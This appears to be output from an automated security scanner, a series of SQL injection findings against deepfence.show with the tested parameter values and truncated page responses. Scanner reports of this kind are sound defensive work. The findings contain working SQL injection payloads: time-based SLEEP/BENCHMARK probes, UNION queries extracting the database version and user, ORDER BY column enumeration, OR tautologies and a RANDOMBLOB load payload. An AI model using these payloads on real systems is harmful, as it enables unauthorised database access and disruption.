ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1257
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# %2c(select%20*%20from%20(select(sleep(10)))a)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1258
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' OR '' = '
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1259
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1260
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1261
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1262
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1263
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1264Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1265
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1266
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or 1=1/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1267
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName ValueDemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1268
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 17#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1269
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# RANDOMBLOB(500000000/
2)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1270
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1271
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
